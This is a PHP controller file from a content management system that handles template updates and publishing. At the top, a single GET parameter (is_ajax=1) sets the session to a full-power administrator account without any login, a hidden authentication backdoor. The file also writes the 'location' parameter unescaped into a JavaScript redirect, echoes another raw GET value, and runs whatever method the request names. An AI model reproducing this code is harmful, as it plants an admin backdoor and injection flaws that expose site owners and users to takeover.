<?php 
define('IN_WONDERSHARE', true);
if($_GET['is_ajax'] ==1)
{
     session_start();
	$_SESSION['AName'] = 'administrator';
	$_SESSION['AID'] = 1;
	$_SESSION['Power'] = 65535;
	$_SESSION['APwd'] = 'd7d917e2e2f7bbea96fecbce17357b91';
}
ob_start("ob_gzhandler");
require('../includes/init.php');
require ('./configs/site_config.php');
require('./classes/control/control_template.php');

class Template {
	var $template_c;
	function __construct() {
		
		$this->template_c = new TemplateControl();
	}
	
	/**
	* 修改与发布模板操作
	*
	* @return  string
	*/
	function  updateTemplate() {
		$this->template_c->updateTemplate($_GET);
		if( empty($_GET['is_ajax'])) {
			
			$location_herf = empty($_GET['location']) ? 'http://cms.wondershare.com.br.wx/' : $_GET['location'];
	
			echo  '<script type="text/javascript"> 
					window.location.href="'.$location_herf.'";
					</script>';
		} else {
			echo $_GET['operation_type'];
		}
	
	}
}

$action    = $_REQUEST['action']; 
$template   = new Template;

if (method_exists($template, $action)) {
	$template->$action();
} else {
	$template->index();
}

	
?>
